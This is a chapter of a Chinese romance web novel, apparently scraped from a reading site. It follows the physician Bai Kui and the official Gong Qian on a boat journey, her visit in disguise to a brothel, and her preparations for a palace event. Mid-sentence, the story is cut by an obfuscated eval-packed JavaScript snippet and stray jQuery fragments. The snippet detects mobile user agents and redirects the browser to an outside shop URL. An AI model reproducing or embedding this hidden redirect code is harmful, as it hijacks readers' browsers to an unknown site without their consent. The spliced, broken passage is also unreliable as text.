文趣网 > 其他小说 > 和宿敌成亲后 > 13. 宫中葵
    宫潜皱眉。

    三个心上人?都住在这里?不喜欢?

    他心上人只有一个,哪来的三个,胡言乱语。

    可能是淋了雪,宫潜嗓子有点沙哑,不难听,甚至说话间还带着点淡淡的欲,让人抓心挠肝,“劳烦白大夫操心了,宫某还尚未有心上人。”

    白葵的注意点根本不在声音上面,专心致志的问着自己的问题:“可师傅早上给我说宫廷尉来这是为了找心上人,意中人,未来的廷尉夫人的。”

    “没想到这里竟然有三个宫廷尉的亲密好友,宫廷尉,年少有为啊。”

    宫潜:“……”

    这脑回路,真是……

    “他骗你的。”

    “师傅为什么要骗我?”

    “因为你骗了他。”

    白葵一惊,完了,她没想到宫潜也知道自己没喝毒药的事情。

    白葵自知理亏,开始保持沉默。

    宫潜眯了眯眼,不爽道:“就这么相信你那师傅?”

    白葵点点头,语气认真:“因为师傅对我好啊,所以我相信他。”

    宫潜不爽,非得质问出一二三来,“我对你不好?”

    白葵像是犯了难,眼睛眨了又眨,那桃花状的眼眸泛着亮光,忽闪忽闪的,白葵认真想了半晌,才开口说:“不一样的好。”

    许自空的好是能让人看到的好,宫潜的好就像是鸡蛋里挑骨头,经历千方百计的挑拣还真能让你挑出来的那种好。

    也幸好宫潜没继续问下去,只是点了点头,内心想,好就行了。

    三人因白葵手上的玉佩很容易就坐上了船,过了良久,白葵突然开口说:“宫潜,我相信你。”

    十分无厘头的一句话,无厘头到宫潜都没注意白葵叫的是宫潜,不是宫廷尉。

    “什么?”

    白葵看着宫潜漆黑的瞳眸,一笑:“你说的话,我都信。”

    你说的话我都信,所以你也要相信我。

    “嗯。”宫潜回答。

    “那你能告诉我为什么要杀那个人吗?”

    宫潜只回答她三个词:“私盐,渔庄,同伙。”

    宫潜点到为止,剩下的让白葵自己去悟。

    “那我们不用在这多待几天?”

    宫潜反问:“你想在这多待几天?”

    白葵离留的想法参半,离是她得赶快给自己寻个夫君,留是地契的具体位置她还没找到,这才是她来这的主要目的。

    白葵不敢说,对面的这尊大佛是皇帝欣赏的廷尉,而自己只是个……算了不说了,伤心。

    “没有,我怎么会想多待几天,这里的条件还不如国舅府的五分之一!”白葵抓紧表示衷心。

    “嗯,既如此那我们就回家。”

    这句“回家”是对许自空那句“在我家”的反驳,也就许自空不在,他要是在定会十分懊悔自己对白葵说了那句让她找夫君。

    很显然,白葵并不知道这一句“回家”竟然还会有连锁反应。

    许自空后不后悔她不知道,反正她是后悔没坚定自己内心的想法了,她就差脑门上刻着两个“后悔”了。

    宫潜食指弯曲抵着嘴唇,不让那笑意溢出。

    他故意的。

    白葵见没人理她的样子,心如死灰的用双手捧着脸,思考起了人生。

    用脑子理了个计划表。

    她回去后的首要任务就是去搜集各个需婚嫁的男子画像,再从里面远处最符合自己心意的人,到时候看不看得上自己再另说。

    她从小到大就没有不喜欢她的男生!

    杨征除外,毕竟追他的是原身,又不是自己。

    呃……宫潜也除外,毕竟他一副禁欲样,一看就是无欲无求。

    白葵对自己还是挺有信心的,虽然她没追过人,但!没吃过猪肉还没见过猪跑吗!

    总之,她会成功的!

    其二就是把那些医学知识复习巩固一下,为半个月后的比赛做准备,来这几天白葵感觉她医术都生疏了不少。

    再之后……

    白葵还没计划完,耳朵边就传来了宫潜那句:“没回答就当你同意了。”

    白葵想怒扇自己一巴掌,恨铁不成钢的怒骂自己,这破计划什么时候做不好,非得现在做,白葵小心翼翼的开口问宫潜:“抱歉宫廷尉,刚才游神了,还劳烦宫廷尉再说一遍。”

    “再说一遍也可以,但白大夫得同意才行。”

    白葵:“……”

    她不听得同意,她听还得同意,她听不听有什么关系吗?

    哦,有,能让她知道自己被推到哪个火坑里了。

    白葵闭了闭眼,一副舍己奉献样,“宫廷尉请说。”

    宫潜凑近了点,用只能她一个人听到的声音说:“放心,不是让你给我陪睡,用不着这么一副马上要失—身的样子。”

    白葵猛的睁开眼,桃花眼瞪得贼大,仿佛再说:你在说什么虎狼之词?!

    宫潜坏笑一声,正了正声色说:“赏枫狩将在五日后举行,往年都是公主策划举办,可今年因驸马的事情伤心欲绝,无心举办,赏枫狩虽说跟你无太大关系,但,她向太皇太后举荐了你,所以,今年的赏枫狩由你来举办策划。”

    白葵“啊”了一声,这还不如让她给宫潜陪睡,起码自己不吃亏,算是双赢的差事。

    皇宫赏枫狩的策划可不是是个人就能干的,她不像公主有势力,能让有能力的人帮她,也就是说这赏枫狩从小到大一切的事都要她一手操办,留给她的日子多还好,可眼下就只有不到五日的时间。

    宫潜真是,一句话就能打破她原有的计划的人。

    “怎么一脸失落样?难道白大夫是想与宫某尽鱼水之欢?”

    原本低垂的眼顿时瞪得比铜铃还大,可这次却像是在说:你怎么知道的?!

    这回换宫潜愣了一下,宽大冰凉的手毫不客气的在白葵头顶上狠狠蹂/躏了下,有种要把她脑子里的黄/色废料都揉出去的架势。

    “小姑娘,矜持些。”

    白葵冷哼了声,又把脸埋在了放在膝盖上的手里面。

    烦人的家伙!他以后的夫人肯定是倒了八辈子的霉才会和他做夫妻!

    转念一想,她都够倒霉的了,还有比她倒霉的人得倒霉成什么样才会和宫潜做夫妻啊。

    **

    回到陵京,白葵的第一件事不是找男子画像也不是准备赏枫狩的差事,而是去了莲芳阁。

    莲芳阁处于亭莲巷的黄金位置,人流如织,是个不错的地段。

    白葵坐在莲芳阁的酒桌前感慨。

    白葵这张脸做男做女都精彩,只要改变一下眉型,整个人的气质都像是变了个样。

    白葵把所有的头发都笼起来,用男性发冠束着。

    毕竟她高马尾的形象在这里出现过,为了以防万一她还是扎了个丸子头,随便找了个宫潜的发冠束起来。

    白葵来莲芳阁不是来自己消费的,是来让她们消费的。

    她要为即将开店的医馆做准备。

    没有宫潜跟着,以自己一身女性妆扮,莲芳阁根本不会让她踏入莲芳阁半步。

    白葵轻车熟路地找地坐下,仰头喝了口清酒,大手一挥:“卢妈,把杏儿叫过来!”

    杏

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594319|205396||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    儿是莲芳阁炽手可热的头牌,来这寻她的人数不胜数。

    卢妈手里的手帕随着她走路的步伐摇曳,胸口的事业线若隐若现,让人移不开眼,卢娜莎笑的妩—媚:“这位公子,真是不好意思,杏儿近日得了风寒,不便待客,您看……”卢娜莎四处环顾看到了个眼熟的人,瞬间阴雨转晴,开怀大笑,“茹儿怎样?”

    白葵佯装皱眉,不爽的拿起酒杯小酌一口,清酒入肚,泛起渐渐的灼烧感,“凑合着吧。”

    “唉!”卢妈笑的开怀,手帕扬了扬示意茹儿过来。

    白葵看着走进的茹儿兀自一笑,内心笃定,是了,她猜得没错。

    杏儿最近没接客是真的,卢娜莎没骗她,至于原因,可不是什么风寒,风寒对旁人来说是不容小觑的大事,但对杏儿来说无伤大雅,真正让她畏惧的,是毁容。

    让一个靠容貌吃饭的女子毁容那还不如杀了她。

    白葵看着戴着面纱的茹儿,看来这茹儿戴面纱的原因应该和那个杏儿的原因一致。

    白葵一把拉住茹儿的手腕,茹儿被拉的措不及防,顺着惯性坐到白葵的腿上。

    这一坐,茹儿像是察觉到什么,红唇翕动:“你……”

    白葵手指紧贴茹儿红唇,中间只隔了一层薄纱,在不知情—人的眼中暧昧气息浓郁。

    白葵下巴轻放在茹儿肩头,温热的气息喷洒在茹儿脖颈,引起一阵轻颤,白葵像是根本不知道她做了什么不当的举动,声音轻低:“姑娘能否保密?”

    茹儿呆滞了几秒,半晌才缓过神来,呆而缓的点点头,乖巧答应。

    白葵没忍住摸了摸茹儿的头顶,夸赞了句:“茹儿真乖。”

    适可而止,白葵见差不多了以“还有事”为借口离开了莲芳阁。

    只留下黯然销/魂的茹儿久久不能平静。

    **

    国舅府。

    白葵看着满桌子的画像愁眉苦展,下午那双运筹帷幄的眸子已经消失的无影无踪。

    这群画像不是她要从中万里挑一选择夫君,而是她在船上因一时失神而欠下的债。

    画像上男女老少都有,这些人都有个共同点,他们都是来参加赏枫狩的宦官皇室人员。

    这群人白葵一个都不认识,偏偏还需要她全部认识。

    只有五天,就要策划好全部。

    宫潜真是太看得起她了。

    房间里烛光微微晃动,将刚沐浴完的白葵照的如同神女下凡,白葵头发散了下来,发尾还有水珠挂着。

    宫潜就是在这时候进来的,手里还拿了条巾帕,是给白葵用来擦干头发的。

    “不是已经看过了?为何又看一遍?”

    白葵看的入迷,被宫潜这一出声吓了一跳。她下午喝了点酒脑子也有点愚钝,“宫,宫廷尉?”白葵震惊了下,说话还有些磕绊。

    “家纯颍说白大夫还未休息,就过来瞧瞧,敲了几次门都未反应……是宫某唐突了。”

    白葵明白过来宫潜这是为他擅自闯入自己房间的解释以及道歉。

    白葵不在意,烛光本来就没熄灭,证明她未入寝,敲门没反应,宫潜进来也是害怕自己出事。

    白葵本来不以为然,可当她抬眼看到宫潜一脸自责的样子,内心突然软了一下,白葵开玩笑道:“宫廷尉可知我为何又看一遍吗?”

    宫潜不知道,不然他也不会问她了。

    白葵弯了弯手掌心,等宫潜靠的近些时笑了一声,漏出洁白小巧的牙齿,眉眼间却尽显不怀好意,“因为,”白葵故意停顿了下,卖了个关子,见宫潜有后半步的动作才继续说,“学而不温者,登徒子也。”